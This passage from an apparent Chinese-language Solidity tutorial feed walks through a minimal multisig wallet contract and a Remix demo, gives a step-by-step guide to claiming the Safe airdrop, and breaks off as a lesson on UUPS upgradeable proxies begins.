    bytes32 txHash = encodeTransactionData(to, value, data, nonce);
    nonce++;  // 增加nonce
    checkSignatures(txHash, signatures); // 检查签名
    // 利用call执行交易，并获取交易结果
    (success, ) = to.call{value: value}(data);
    require(success , &quot;WTF5004&quot;);
    if (success) emit ExecutionSuccess(txHash);
    else emit ExecutionFailure(txHash);
}
"><code><span class="hljs-comment">/// @dev 在收集足够的多签签名后，执行交易</span>
<span class="hljs-comment">/// @param to 目标合约地址</span>
<span class="hljs-comment">/// @param value msg.value，支付的以太坊</span>
<span class="hljs-comment">/// @param data calldata</span>
<span class="hljs-comment">/// @param signatures 打包的签名，对应的多签地址由小到达，方便检查。 ({bytes32 r}{bytes32 s}{uint8 v}) (第一个多签的签名, 第二个多签的签名 ... )</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execTransaction</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> to,
    <span class="hljs-keyword">uint256</span> value,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signatures
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">virtual</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> success</span>) </span>{
    <span class="hljs-comment">// 编码交易数据，计算哈希</span>
    <span class="hljs-keyword">bytes32</span> txHash <span class="hljs-operator">=</span> encodeTransactionData(to, value, data, nonce);
    nonce<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;  <span class="hljs-comment">// 增加nonce</span>
    checkSignatures(txHash, signatures); <span class="hljs-comment">// 检查签名</span>
    <span class="hljs-comment">// 利用call执行交易，并获取交易结果</span>
    (success, ) <span class="hljs-operator">=</span> to.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: value}(data);
    <span class="hljs-built_in">require</span>(success , <span class="hljs-string">"WTF5004"</span>);
    <span class="hljs-keyword">if</span> (success) <span class="hljs-keyword">emit</span> ExecutionSuccess(txHash);
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">emit</span> ExecutionFailure(txHash);
}
</code></pre></li><li><p><code>checkSignatures()</code>：检查签名和交易数据的哈希是否对应，数量是否达到门槛，若否，交易会revert。单个签名长度为65字节，因此打包签名的长度要长于<code>threshold * 65</code>。调用了<code>signatureSplit()</code>分离出单个签名。这个函数的大致思路：</p><ul><li><p>用ecdsa获取签名地址.</p></li><li><p>利用 <code>currentOwner &gt; lastOwner</code> 确定签名来自不同多签（多签地址递增）。</p></li><li><p>利用<code>isOwner[currentOwner]</code>确定签名者为多签持有人。</p></li></ul><pre data-type="codeBlock" text="/**
 * @dev 检查签名和交易数据是否对应。如果是无效签名，交易会revert
 * @param dataHash 交易数据哈希
 * @param signatures 几个多签签名打包在一起
 */
function checkSignatures(
    bytes32 dataHash,
    bytes memory signatures
) public view {
    // 读取多签执行门槛
    uint256 _threshold = threshold;
    require(_threshold &gt; 0, &quot;WTF5005&quot;);

    // 检查签名长度足够长
    require(signatures.length &gt;= _threshold * 65, &quot;WTF5006&quot;);

    // 通过一个循环，检查收集的签名是否有效
    // 大概思路：
    // 1. 用ecdsa先验证签名是否有效
    // 2. 利用 currentOwner &gt; lastOwner 确定签名来自不同多签（多签地址递增）
    // 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人
    address lastOwner = address(0); 
    address currentOwner;
    uint8 v;
    bytes32 r;
    bytes32 s;
    uint256 i;
    for (i = 0; i &lt; _threshold; i++) {
        (v, r, s) = signatureSplit(signatures, i);
        // 利用ecrecover检查签名是否有效
        currentOwner = ecrecover(keccak256(abi.encodePacked(&quot;\x19Ethereum Signed Message:\n32&quot;, dataHash)), v, r, s);
        require(currentOwner &gt; lastOwner &amp;&amp; isOwner[currentOwner], &quot;WTF5007&quot;);
        lastOwner = currentOwner;
    }
}
"><code><span class="hljs-comment">/**
 * @dev 检查签名和交易数据是否对应。如果是无效签名，交易会revert
 * @param dataHash 交易数据哈希
 * @param signatures 几个多签签名打包在一起
 */</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkSignatures</span>(<span class="hljs-params">
    <span class="hljs-keyword">bytes32</span> dataHash,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signatures
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
    <span class="hljs-comment">// 读取多签执行门槛</span>
    <span class="hljs-keyword">uint256</span> _threshold <span class="hljs-operator">=</span> threshold;
    <span class="hljs-built_in">require</span>(_threshold <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"WTF5005"</span>);

    <span class="hljs-comment">// 检查签名长度足够长</span>
    <span class="hljs-built_in">require</span>(signatures.<span class="hljs-built_in">length</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> _threshold <span class="hljs-operator">*</span> <span class="hljs-number">65</span>, <span class="hljs-string">"WTF5006"</span>);

    <span class="hljs-comment">// 通过一个循环，检查收集的签名是否有效</span>
    <span class="hljs-comment">// 大概思路：</span>
    <span class="hljs-comment">// 1. 用ecdsa先验证签名是否有效</span>
    <span class="hljs-comment">// 2. 利用 currentOwner > lastOwner 确定签名来自不同多签（多签地址递增）</span>
    <span class="hljs-comment">// 3. 利用 isOwner[currentOwner] 确定签名者为多签持有人</span>
    <span class="hljs-keyword">address</span> lastOwner <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>); 
    <span class="hljs-keyword">address</span> currentOwner;
    <span class="hljs-keyword">uint8</span> v;
    <span class="hljs-keyword">bytes32</span> r;
    <span class="hljs-keyword">bytes32</span> s;
    <span class="hljs-keyword">uint256</span> i;
    <span class="hljs-keyword">for</span> (i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> _threshold; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        (v, r, s) <span class="hljs-operator">=</span> signatureSplit(signatures, i);
        <span class="hljs-comment">// 利用ecrecover检查签名是否有效</span>
        currentOwner <span class="hljs-operator">=</span> <span class="hljs-built_in">ecrecover</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-string">"\x19Ethereum Signed Message:\n32"</span>, dataHash)), v, r, s);
        <span class="hljs-built_in">require</span>(currentOwner <span class="hljs-operator">></span> lastOwner <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> isOwner[currentOwner], <span class="hljs-string">"WTF5007"</span>);
        lastOwner <span class="hljs-operator">=</span> currentOwner;
    }
}
</code></pre></li><li><p><code>signatureSplit()</code>：将单个签名从打包的签名分离出来，参数分别为打包签名<code>signatures</code>和要读取的签名位置<code>pos</code>。利用了内联汇编，将签名的<code>r</code>，<code>s</code>，和<code>v</code>三个值分离出来。</p><pre data-type="codeBlock" text="/// 将单个签名从打包的签名分离出来
/// @param signatures 打包签名
/// @param pos 要读取的多签index.
function signatureSplit(bytes memory signatures, uint256 pos)
    internal
    pure
    returns (
        uint8 v,
        bytes32 r,
        bytes32 s
    )
{
    // 签名的格式：{bytes32 r}{bytes32 s}{uint8 v}
    assembly {
        let signaturePos := mul(0x41, pos)
        r := mload(add(signatures, add(signaturePos, 0x20)))
        s := mload(add(signatures, add(signaturePos, 0x40)))
        v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)
    }
}
"><code><span class="hljs-comment">/// 将单个签名从打包的签名分离出来</span>
<span class="hljs-comment">/// @param signatures 打包签名</span>
<span class="hljs-comment">/// @param pos 要读取的多签index.</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">signatureSplit</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signatures, <span class="hljs-keyword">uint256</span> pos</span>)
    <span class="hljs-title"><span class="hljs-keyword">internal</span></span>
    <span class="hljs-title"><span class="hljs-keyword">pure</span></span>
    <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">
        <span class="hljs-keyword">uint8</span> v,
        <span class="hljs-keyword">bytes32</span> r,
        <span class="hljs-keyword">bytes32</span> s
    </span>)
</span>{
    <span class="hljs-comment">// 签名的格式：{bytes32 r}{bytes32 s}{uint8 v}</span>
    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-keyword">let</span> signaturePos <span class="hljs-operator">:=</span> <span class="hljs-built_in">mul</span>(<span class="hljs-number">0x41</span>, pos)
        r <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signatures, <span class="hljs-built_in">add</span>(signaturePos, <span class="hljs-number">0x20</span>)))
        s <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signatures, <span class="hljs-built_in">add</span>(signaturePos, <span class="hljs-number">0x40</span>)))
        v <span class="hljs-operator">:=</span> <span class="hljs-built_in">and</span>(<span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(signatures, <span class="hljs-built_in">add</span>(signaturePos, <span class="hljs-number">0x41</span>))), <span class="hljs-number">0xff</span>)
    }
}
</code></pre></li><li><p><code>encodeTransactionData()</code>：将交易数据打包并计算哈希，利用了<code>abi.encode()</code>和<code>keccak256()</code>函数。这个函数可以计算出一个交易的哈希，然后在链下让多签人签名并收集，再调用<code>execTransaction()</code>函数执行。</p><pre data-type="codeBlock" text="/// @dev 编码交易数据
/// @param to 目标合约地址
/// @param value msg.value，支付的以太坊
/// @param data calldata
/// @param _nonce 交易的nonce.
/// @return 交易哈希bytes.
function encodeTransactionData(
    address to,
    uint256 value,
    bytes memory data,
    uint256 _nonce
) public pure returns (bytes32) {
    bytes32 safeTxHash =
        keccak256(
            abi.encode(
                to,
                value,
                keccak256(data),
                _nonce
            )
        );
    return safeTxHash;
}
"><code><span class="hljs-comment">/// @dev 编码交易数据</span>
<span class="hljs-comment">/// @param to 目标合约地址</span>
<span class="hljs-comment">/// @param value msg.value，支付的以太坊</span>
<span class="hljs-comment">/// @param data calldata</span>
<span class="hljs-comment">/// @param _nonce 交易的nonce.</span>
<span class="hljs-comment">/// @return 交易哈希bytes.</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">encodeTransactionData</span>(<span class="hljs-params">
    <span class="hljs-keyword">address</span> to,
    <span class="hljs-keyword">uint256</span> value,
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data,
    <span class="hljs-keyword">uint256</span> _nonce
</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
    <span class="hljs-keyword">bytes32</span> safeTxHash <span class="hljs-operator">=</span>
        <span class="hljs-built_in">keccak256</span>(
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(
                to,
                value,
                <span class="hljs-built_in">keccak256</span>(data),
                _nonce
            )
        );
    <span class="hljs-keyword">return</span> safeTxHash;
}
</code></pre></li></ol><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Remix演示</h2><ul><li><p>部署多签合约，<code>2</code>个多签地址，交易执行门槛设为<code>2</code>。</p><pre data-type="codeBlock" text="多签地址1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
多签地址2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
"><code><span class="hljs-section">多签地址1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4</span>
<span class="hljs-section">多签地址2: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2</span>
</code></pre></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5a2aa106b75f34c5eb2d8966064e0b46eb2fb08dcee7f76d611998966c2a2fe6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>转<code>ETH</code>到多签合约地址。</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8a30f46579e28bc38ecc1b4cf8a4d927ed86a5f119eb4c8fcaad2892809eafb7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>调用<code>encodeTransactionData()</code>，编码并计算向多签地址1转账<code>1 ETH</code>的交易哈希。</p><pre data-type="codeBlock" text="参数
to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
value: 1000000000000000000
data: 0x
_nonce: 0
结果
交易哈希： 0x60b286f1ebc340b158aaed0ae30d8275b7441ec9819fcd8b0749793fb482a3d4
"><code>参数
<span class="hljs-section">to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4</span>
<span class="hljs-section">value: 1000000000000000000</span>
<span class="hljs-section">data: 0x</span>
<span class="hljs-section">_nonce: 0</span>
结果
交易哈希： 0x60b286f1ebc340b158aaed0ae30d8275b7441ec9819fcd8b0749793fb482a3d4
</code></pre></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/99ee39f9dd393dadc1ad10c694d35ac93c6526304e2ef7be4d71a1203d85590a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>利用Remix中ACCOUNT旁边的笔记图案的按钮进行签名，内容输入上面的交易哈希，获得签名，两个钱包都要签。</p><pre data-type="codeBlock" text="多签地址1的签名: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b

多签地址2的签名: 0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c

讲两个签名拼接到一起，得到打包签名:  0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c
"><code><span class="hljs-section">多签地址1的签名: 0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b</span>

<span class="hljs-section">多签地址2的签名: 0x6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c</span>

<span class="hljs-section">讲两个签名拼接到一起，得到打包签名:  0xa3f3e4375f54ad0a8070f5abd64e974b9b84306ac0dd5f59834efc60aede7c84454813efd16923f1a8c320c05f185bd90145fd7a7b741a8d13d4e65a4722687e1b6b228b6033c097e220575f826560226a5855112af667e984aceca50b776f4c885e983f1f2155c294c86a905977853c6b1bb630c488502abcc838f9a225c813811c</span>
</code></pre></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6c43a1d3bb289005971c02250c46d695263c49b928e3db85f7b4162184915739.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><ul><li><p>调用<code>execTransaction()</code>函数执行交易，将第3步中的交易参数和打包签名作为参数传入。可以看到交易执行成功，<code>ETH</code>被转出多签。</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/05db910f0b05737042fd7e4700901ff395ca4174d4a1bee9f47ddaebac2ff62e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了多签钱包，并写了一个极简版的多签钱包合约，仅有不到150行代码。</p><p>我与多签钱包很有缘分，2021年因为PeopleDAO创建国库而学习了Gnosis Safe并写了中英文的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s">使用教程</a>，之后很幸运的做了3个国库的多签人维护资产安全，现在又成为了Safe的守护者深度参与治理。希望大家的资产都更加安全。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Safe空投领取攻略]]></title>
            <link>https://paragraph.com/@wtfacademy/safe</link>
            <guid>zHx3FGmrMbVtUL9lBwjJ</guid>
            <pubDate>Wed, 28 Sep 2022 09:31:26 GMT</pubDate>
            <description><![CDATA[Gnosis Safe多签钱包$SAFE代币空投终于可以领取了，这个攻略主要教大家如何领取和将投票权委托给Safe守护者。对Safe使用有问题的，可以看我在21年12月写的教程： https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s1. 进入空投领取网址链接Safe{Wallet}Multisig Security for your onchain assetshttps://safe.global2. 连接Safe多签钱包选择有资格领取空投的Safe多签钱包，然后点击左下角的connect，3. 阅读教程，点击5下continue4. 点击Start your claiming process5. 选择投票委托人，在搜索栏搜 0xAA，并点击头像。6. 点击Select as delegate，设置投票委托人，不会影响你的转账，之后任何和Safe有关的问题可以咨询我。7. 点击Max，领取最大数额的$SAFE，然后点击 Claim and delegate按钮，创建领取交易。8. 多签人...]]></description>
            <content:encoded><![CDATA[<p>Gnosis Safe多签钱包$SAFE代币空投终于可以领取了，这个攻略主要教大家如何领取和将投票权委托给Safe守护者。对Safe使用有问题的，可以看我在21年12月写的教程：</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s">https://peopledao.mirror.xyz/nFCBXda8B5ZxQVqSbbDOn2frFDpTxNVtdqVBXGIjj0s</a></p><h2 id="h-1" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1. 进入空投领取网址</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://gnosis-safe.io/app/share/safe-app?appUrl=https://apps.gnosis-safe.io/safe-claiming-app&amp;chainId=1">链接</a></p><div data-type="embedly" src="https://gnosis-safe.io/app/share/safe-app?appUrl=https://apps.gnosis-safe.io/safe-claiming-app&amp;chainId=1" data="{&quot;provider_url&quot;:&quot;https://safe.global&quot;,&quot;description&quot;:&quot;Multisig Security for your onchain assets&quot;,&quot;title&quot;:&quot;Safe{Wallet}&quot;,&quot;thumbnail_width&quot;:2400,&quot;url&quot;:&quot;https://safe.global&quot;,&quot;thumbnail_url&quot;:&quot;https://storage.googleapis.com/papyrus_images/6f7d717f1e7c416bf6bcfea312f2d10f04bd12a8514fcac49aca4a9fd2787037.jpg&quot;,&quot;version&quot;:&quot;1.0&quot;,&quot;provider_name&quot;:&quot;Safe{Wallet}&quot;,&quot;type&quot;:&quot;link&quot;,&quot;thumbnail_height&quot;:1344,&quot;image&quot;:{&quot;img&quot;:{&quot;width&quot;:2400,&quot;height&quot;:1344,&quot;src&quot;:&quot;https://storage.googleapis.com/papyrus_images/6f7d717f1e7c416bf6bcfea312f2d10f04bd12a8514fcac49aca4a9fd2787037.jpg&quot;}}}" format="small"><link rel="preload" as="image" href="https://storage.googleapis.com/papyrus_images/6f7d717f1e7c416bf6bcfea312f2d10f04bd12a8514fcac49aca4a9fd2787037.jpg"/><div class="react-component embed my-5" data-drag-handle="true" data-node-view-wrapper="" style="white-space:normal"><a class="link-embed-link" href="https://gnosis-safe.io/app/share/safe-app?appUrl=https://apps.gnosis-safe.io/safe-claiming-app&amp;chainId=1" target="_blank" rel="noreferrer"><div class="link-embed"><div class="flex-1"><div><h2>Safe{Wallet}</h2><p>Multisig Security for your onchain assets</p></div><span><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-link h-3 w-3 my-auto inline mr-1"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>https://safe.global</span></div><img src="https://storage.googleapis.com/papyrus_images/6f7d717f1e7c416bf6bcfea312f2d10f04bd12a8514fcac49aca4a9fd2787037.jpg"/></div></a></div></div><h2 id="h-2-safe" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">2. 连接Safe多签钱包</h2><p>选择有资格领取空投的Safe多签钱包，然后点击左下角的connect，</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/45ba4ae2cdbf21b8d6e812e951828d68fc3176f55cebd8d16a626860cbc8438c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-3-5continue" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">3. 阅读教程，点击5下continue</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0fa0e3a77b5fe517b8651a7f890d9a277bf6b8ba542cb762386cc94ba5568fa0.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-4-start-your-claiming-process" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">4. 点击Start your claiming process</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ad80a0922d21b64681aff1e3ce156d5c25c216c377b89cac8dadeb8799f3374a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-5-0xaa" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">5. 选择投票委托人，在搜索栏搜 0xAA，并点击头像。</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/37e810baf61a0a2c43c944543a14cb27cc824991284505b18214eae7d38921c3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-6-select-as-delegatesafe" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">6. 点击Select as delegate，设置投票委托人，不会影响你的转账，之后任何和Safe有关的问题可以咨询我。</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/779a309e0d9520078d73f8ca686e4f65439a16542f76d5d505065e17c778a6e1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-7-maxdollarsafe-claim-and-delegate" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">7. 点击Max，领取最大数额的$SAFE，然后点击 Claim and delegate按钮，创建领取交易。</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d1b82a06e1c6c0a0cedc9970284dc81cd3981c6513283618ae300d391f2a2379.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-8-safe" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">8. 多签人签署交易，提交，就可以领到Safe代币了！</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1ebd422e2ba582cd6f638636df0b3c7c745946a231c639ef99fe8918da28f377.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/da9a36a722b24258a32ae363a1e7096d40aa403b6de887b78a8290ccdab3406f.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity极简入门: 49. 通用可升级代理]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-49</link>
            <guid>BskXMiybD4iyduYP302G</guid>
            <pubDate>Sun, 25 Sep 2022 17:58:45 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍代理合约中选择器冲突（Selector Clash）的另一个解决办法：通用可升级代理（UUPS，universal upgradeable proxy standard）。教学代码由OpenZepplin的UUPSUpgradeable简化而成，不应用于生产。UUPS我们在上一讲已经学习了"选择器冲突"（Selector Clash），即合约存在两个选择器相同的函数，可能会造成严重后果。作为透明代理的替代方案，UUPS也能解决这一问题。 UUPS（universal upgradeable proxy standard，通用可升级代理）将升级函数放在逻辑合约中。这样一来，如果有其它函数与升级函数存在“选择器冲突”，编译时就...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍代理合约中选择器冲突（Selector Clash）的另一个解决办法：通用可升级代理（UUPS，universal upgradeable proxy standard）。教学代码由<code>OpenZepplin</code>的<code>UUPSUpgradeable</code>简化而成，不应用于生产。</p><h2 id="h-uups" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">UUPS</h2><p>我们在<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/48_TransparentProxy/readme.md">上一讲</a>已经学习了&quot;选择器冲突&quot;（Selector Clash），即合约存在两个选择器相同的函数，可能会造成严重后果。作为透明代理的替代方案，UUPS也能解决这一问题。</p><p>UUPS（universal upgradeable proxy standard，通用可升级代理）将升级函数放在逻辑合约中。这样一来，如果有其它函数与升级函数存在“选择器冲突”，编译时就会报错。</p><p>下表中概括了普通可升级合约，透明代理，和UUPS的不同点：</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c87ad578753c484fd0e18e0dc6c691bfc0968269e261ec91ecd6f3092cc71816.png" alt="" 